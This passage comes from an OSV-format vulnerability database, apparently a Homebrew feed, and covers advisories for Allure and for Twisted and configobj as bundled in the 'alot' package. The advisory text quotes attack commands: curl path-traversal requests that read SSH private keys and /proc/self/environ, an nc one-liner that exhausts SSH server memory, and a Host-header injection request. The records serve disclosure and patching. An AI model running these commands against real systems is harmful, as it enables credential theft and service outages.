'http://localhost:9090/../../../home/user/.ssh/id_rsa'\ncurl --path-as-is 'http://localhost:9090/../../../proc/self/environ'\n```\n\nEach command returns the full contents of the requested file if readable by the Allure process.\n\n## Impact\n\nAn attacker who can reach the Allure HTTP server can read any file on the system that the Allure process has permissions to access. This includes:\n\n- **System credentials:** `/etc/shadow` (if running as root), SSH private keys, cloud provider credentials\n- **Application secrets:** Environment variables via `/proc/self/environ`, configuration files, API keys\n- **Source code and data:** Any file on the filesystem accessible to the running user\n\nIn CI/CD environments where Allure is commonly used, this could expose build secrets, deployment credentials, and other sensitive CI/CD artifacts. The lack of authentication means any client that can reach the server's port can exploit this vulnerability.\n\n## Recommended Fix\n\nNormalize the resolved path and verify it remains within the report directory before serving:\n\n```java\nserver.createContext(\"/\", exchange -> {\n    final Path resolve = reportDirectory.resolve(\".\" + exchange.getRequestURI().getPath()).normalize();\n    if (!resolve.startsWith(reportDirectory.normalize())) {\n        exchange.sendResponseHeaders(403, 0);\n        exchange.getResponseBody().close();\n        return;\n    }\n    if (Files.isDirectory(resolve)) {\n        serveFile(exchange, resolve.resolve(\"index.html\"));\n    } else {\n        serveFile(exchange, resolve);\n    }\n});\n```\n\nThe `.normalize()` call collapses `..` sequences, and the `.startsWith()` check ensures the resolved path is still within the report directory. Requests attempting traversal receive a 403 Forbidden response.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/allure-framework/allure2/security/advisories/GHSA-82cg-3hv7-74gc"},{"type":"PACKAGE","url":"https://github.com/allure-framework/allure2"}]}],"alot":[{"schema_version":"1.7.3","id":"BREW-alot-CVE-2014-7143","published":"2026-08-13T16:35:13Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-3c45-wgjp-7v9r","CVE-2014-7143","PYSEC-2019-212"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"14.0.1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"Python Twisted trustRoot is not respected in HTTP client","details":"Python Twisted 14.0.0 `trustRoot` is not respected in HTTP client","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-7143"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/3b5942252f5f3e45862a0e12b266ab29e243cc33"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2014-7143"},{"type":"WEB","url":"https://exchange.xforce.ibmcloud.com/vulnerabilities/96135"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2019-212.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2014-7143"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2014/09/22/2"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2016-1000111","published":"2026-08-13T16:35:13Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-3gqj-cmxr-p4x2","CVE-2016-1000111","PYSEC-2020-214"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"16.3.1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"Forced Browsing in Twisted","details":"Twisted before 16.3.1 does not attempt to address RFC 3875 section 4.1.18 namespace conflicts and therefore does not protect CGI applications from the presence of untrusted client data in the `HTTP_PROXY` environment variable, which might allow remote attackers to redirect a CGI application's outbound HTTP traffic to an arbitrary proxy server via a crafted Proxy header in an HTTP request, aka an `httpoxy` issue.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-1000111"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2020-214.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://twistedmatrix.com/pipermail/twisted-web/2016-August/005268.html"},{"type":"WEB","url":"https://twistedmatrix.com/trac/ticket/8623"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2016/07/18/6"},{"type":"WEB","url":"http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2016-3090545.html"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2019-12387","published":"2026-08-13T16:35:13Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-6cc5-2vg4-cc7m","CVE-2019-12387","PYSEC-2019-128"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.8.1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"19.2.1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"Twisted CRLF Injection","details":"In Twisted before 19.2.1, twisted.web did not validate or sanitize URIs or HTTP methods, allowing an attacker to inject invalid characters such as CRLF.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-12387"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/6c61fc4503ae39ab8ecee52d10f10ee2c371d7e2"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-6cc5-2vg4-cc7m"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2019-128.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://labs.twistedmatrix.com/2019/06/twisted-1921-released.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2G5RPDQ4BNB336HL6WW5ZJ344MAWNN7N"},{"type":"WEB","url":"https://twistedmatrix.com/pipermail/twisted-python/2019-June/032352.html"},{"type":"WEB","url":"https://usn.ubuntu.com/4308-1"},{"type":"WEB","url":"https://usn.ubuntu.com/4308-2"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuapr2020.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00030.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00042.html"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2019-12855","published":"2026-08-13T16:35:13Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-65rm-h285-5cc5","CVE-2019-12855","PYSEC-2019-129"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.9"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"19.7.0rc1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"Improper Certificate Validation in Twisted","details":"In words.protocols.jabber.xmlstream in Twisted through 19.2.1, XMPP support did not verify certificates when used with TLS, allowing an attacker to MITM connections.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-12855"},{"type":"WEB","url":"https://github.com/twisted/twisted/pull/1147"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2019-129.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/PLTZDMFBNFSJMBXYJNGJHENJA4H2TSMZ"},{"type":"WEB","url":"https://twistedmatrix.com/trac/ticket/9561"},{"type":"WEB","url":"https://usn.ubuntu.com/4308-1"},{"type":"WEB","url":"https://usn.ubuntu.com/4308-2"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuapr2020.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00013.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00028.html"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2020-10108","published":"2026-08-13T16:35:13Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-h96w-mmrf-2h6v","CVE-2020-10108","PYSEC-2020-259"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.9_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"20.3.0","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"Improper Input Validation in Twisted","details":"In Twisted Web before 20.3.0, there was an HTTP request splitting vulnerability. When presented with two content-length headers, it ignored the first header. When the second content-length value was set to zero, the request body was interpreted as a pipelined request.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10108"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/4a7d22e490bb8ff836892cc99a1f54b85ccb0281"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2020-259.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://github.com/twisted/twisted/blob/6ff2c40e42416c83203422ff70dfc49d2681c8e2/NEWS.rst#twisted-2030-2020-03-13"},{"type":"WEB","url":"https://know.bishopfox.com/advisories"},{"type":"WEB","url":"https://know.bishopfox.com/advisories/twisted-version-19.10.0"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2022/02/msg00021.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6ISMZFZBWW4EV6ETJGXAYIXN3AT7GBPL"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/YW3NIL7VXSGJND2Q4BSXM3CFTAFU6T7D"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202007-24"},{"type":"WEB","url":"https://usn.ubuntu.com/4308-1"},{"type":"WEB","url":"https://usn.ubuntu.com/4308-2"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuoct2020.html"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2020-10109","published":"2026-08-13T16:35:13Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-p5xh-vx83-mxcj","CVE-2020-10109","PYSEC-2020-260"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.9_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"20.3.0","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"HTTP Request Smuggling in Twisted","details":"In Twisted Web through 20.3.0, there was an HTTP request splitting vulnerability. When presented with a content-length and a chunked encoding header, the content-length took precedence and the remainder of the request body was interpreted as a pipelined request.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10109"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/4a7d22e490bb8ff836892cc99a1f54b85ccb0281"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-p5xh-vx83-mxcj"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2020-260.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://github.com/twisted/twisted/blob/6ff2c40e42416c83203422ff70dfc49d2681c8e2/NEWS.rst#twisted-2030-2020-03-13"},{"type":"WEB","url":"https://know.bishopfox.com/advisories"},{"type":"WEB","url":"https://know.bishopfox.com/advisories/twisted-version-19.10.0"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2022/02/msg00021.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6ISMZFZBWW4EV6ETJGXAYIXN3AT7GBPL"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/YW3NIL7VXSGJND2Q4BSXM3CFTAFU6T7D"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202007-24"},{"type":"WEB","url":"https://usn.ubuntu.com/4308-1"},{"type":"WEB","url":"https://usn.ubuntu.com/4308-2"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2022-21712","published":"2026-08-13T16:35:13Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-92x2-jw7w-xvvx","CVE-2022-21712","PYSEC-2022-27"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.10"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"22.1.0","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"Cookie and header exposure in twisted","details":"### Impact\n\nCookie and Authorization headers are leaked when following cross-origin redirects in `twited.web.client.RedirectAgent` and `twisted.web.client.BrowserLikeRedirectAgent`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-92x2-jw7w-xvvx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-21712"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/af8fe78542a6f2bf2235ccee8158d9c88d31e8e2"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2022-27.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://github.com/twisted/twisted/releases/tag/twisted-22.1.0"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2022/02/msg00021.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7U6KYDTOLPICAVSR34G2WRYLFBD2YW5K"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/GLKHA6WREIVAMBQD7KKWYHPHGGNKMAG6"},{"type":"WEB","url":"https://pypi.org/project/Twisted"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202301-02"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2022-21716","published":"2026-08-13T16:35:13Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-rv6r-3f5q-9rgx","CVE-2022-21716","PYSEC-2022-160"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"22.2.0","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"Twisted SSH client and server deny of service during SSH handshake.","details":"### Impact\n\nThe Twisted SSH client and server implementation naively accepted an infinite amount of data for the  peer's SSH version identifier.\n\nA malicious peer can trivially craft a request that uses all available memory and crash the server, resulting in denial of service. The attack is as simple as `nc -rv localhost 22 < /dev/zero`.\n\n### Patches\n\nThe issue was fix in GitHub commit https://github.com/twisted/twisted/commit/98387b39e9f0b21462f6abc7a1325dc370fcdeb1\n\nA fix is available in Twisted 22.2.0.\n\n### Workarounds\n\n* Limit access to the SSH server only to trusted source IP addresses.\n* Connect over SSH only to trusted destination IP addresses.\n\n### References\n\nReported at https://twistedmatrix.com/trac/ticket/10284\nDiscussions at https://github.com/twisted/twisted/security/advisories/GHSA-rv6r-3f5q-9rgx\n\n### For more information\n\nFound by vin01","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-rv6r-3f5q-9rgx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-21716"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/89c395ee794e85a9657b112c4351417850330ef9"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/98387b39e9f0b21462f6abc7a1325dc370fcdeb1"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2022-160.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://github.com/twisted/twisted/releases/tag/twisted-22.2.0"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2022/03/msg00009.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7U6KYDTOLPICAVSR34G2WRYLFBD2YW5K"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/GLKHA6WREIVAMBQD7KKWYHPHGGNKMAG6"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202301-02"},{"type":"WEB","url":"https://twistedmatrix.com/trac/ticket/10284"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuapr2022.html"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2022-24801","published":"2026-08-13T16:35:13Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-c2jg-hw38-jrqq","CVE-2022-24801","PYSEC-2022-195"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.10"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"22.4.0","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"Inconsistent Interpretation of HTTP Requests in twisted.web","details":"The Twisted Web HTTP 1.1 server, located in the `twisted.web.http` module, parsed several HTTP request constructs more leniently than permitted by RFC 7230:\n\n1. The Content-Length header value could have a `+` or `-` prefix.\n2. Illegal characters were permitted in chunked extensions, such as the LF (`\\n`) character.\n3. Chunk lengths, which are expressed in hexadecimal format, could have a prefix of `0x`.\n4. HTTP headers were stripped of all leading and trailing ASCII whitespace, rather than only space and HTAB (`\\t`).\n\nThis non-conformant parsing can lead to desync if requests pass through multiple HTTP parsers, potentially resulting in HTTP request smuggling.\n\n### Impact\n\nYou may be affected if:\n\n1. You use Twisted Web's HTTP 1.1 server and/or proxy\n2. You also pass requests through a different HTTP server and/or proxy\n\nThe specifics of the other HTTP parser matter. The original report notes that some versions of Apache Traffic Server and HAProxy have been vulnerable in the past. HTTP request smuggling may be a serious concern if you use a proxy to perform request validation or access control.\n\nThe Twisted Web client is not affected. The HTTP 2.0 server uses a different parser, so it is not affected.\n\n### Patches\n\nThe issue has been addressed in Twisted 22.4.0rc1 and later.\n\n### Workarounds\n\nOther than upgrading Twisted, you could:\n\n* Ensure any vulnerabilities in upstream proxies have been addressed, such as by upgrading them\n* Filter malformed requests by other means, such as configuration of an upstream proxy\n\n### Credits\n\nThis issue was initially reported by [Zhang Zeyu](https://github.com/zeyu2001).","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-c2jg-hw38-jrqq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-24801"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/592217e951363d60e9cd99c5bbfd23d4615043ac"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2022-195.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://github.com/twisted/twisted/releases/tag/twisted-22.4.0rc1"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2022/05/msg00003.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7U6KYDTOLPICAVSR34G2WRYLFBD2YW5K"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/GLKHA6WREIVAMBQD7KKWYHPHGGNKMAG6"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpujul2022.html"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2022-39348","published":"2026-08-13T16:35:13Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-vg46-2rrj-3647","CVE-2022-39348","PYSEC-2026-1055"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.10_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"22.10.0rc1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"Twisted vulnerable to NameVirtualHost Host header injection","details":"When the host header does not match a configured host, `twisted.web.vhost.NameVirtualHost` will return a `NoResource` resource which renders the Host header unescaped into the 404 response allowing HTML and script injection.\n\nExample configuration:\n```python\nfrom twisted.web.server import Site\nfrom twisted.web.vhost import NameVirtualHost\nfrom twisted.internet import reactor\n\nresource = NameVirtualHost()\nsite = Site(resource)\nreactor.listenTCP(8080, site)\nreactor.run()\n```\nOutput:\n```\n❯ curl -H\"Host:<h1>HELLO THERE</h1>\" http://localhost:8080/\n\n<html>\n  <head><title>404 - No Such Resource</title></head>\n  <body>\n    <h1>No Such Resource</h1>\n    <p>host b'<h1>hello there</h1>' not in vhost map</p>\n  </body>\n</html>\n```\n\nThis vulnerability was introduced in f49041bb67792506d85aeda9cf6157e92f8048f4 and first appeared in the 0.9.4 release.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-vg46-2rrj-3647"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-39348"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/f2f5e81c03f14e253e85fe457e646130780db40b"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/f49041bb67792506d85aeda9cf6157e92f8048f4"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2022/11/msg00038.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202301-02"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2023-26112","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T00:52:10Z","upstream":["GHSA-c33w-24p9-8m24","CVE-2023-26112","PYSEC-2026-1270"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.11_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.0.9","resource":"configobj","resource_purl":"pkg:pypi/configobj@5.0.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"configobj","subject_version":"5.0.9","key":"pkg:pypi/configobj@5.0.9","resource":"configobj"}]},"summary":"configobj ReDoS exploitable by developer using values in a server-side configuration file","details":"All versions of the package configobj are vulnerable to Regular Expression Denial of Service (ReDoS) via the validate function, using (.+?)\\((.*)\\). **Note:** This is only exploitable in the case of a developer, putting the offending value in a server side configuration file.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26112"},{"type":"WEB","url":"https://github.com/DiffSK/configobj/issues/232"},{"type":"WEB","url":"https://github.com/DiffSK/configobj/commit/7c618b0bbaff6ecaca51a6f05b29795d1377a4a5"},{"type":"PACKAGE","url":"https://github.com/DiffSK/configobj"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6BO4RLMYEJODCNUE3DJIIUUFVTPAG6VN"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NZHY7B33EFY4LESP2NI4APQUPRROTAZK"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PYU4IHVLOTYMFPH7KDOJGKZQR4GKWPFK"},{"type":"WEB","url":"https://pypi.org/project/configobj/5.0.9"},{"t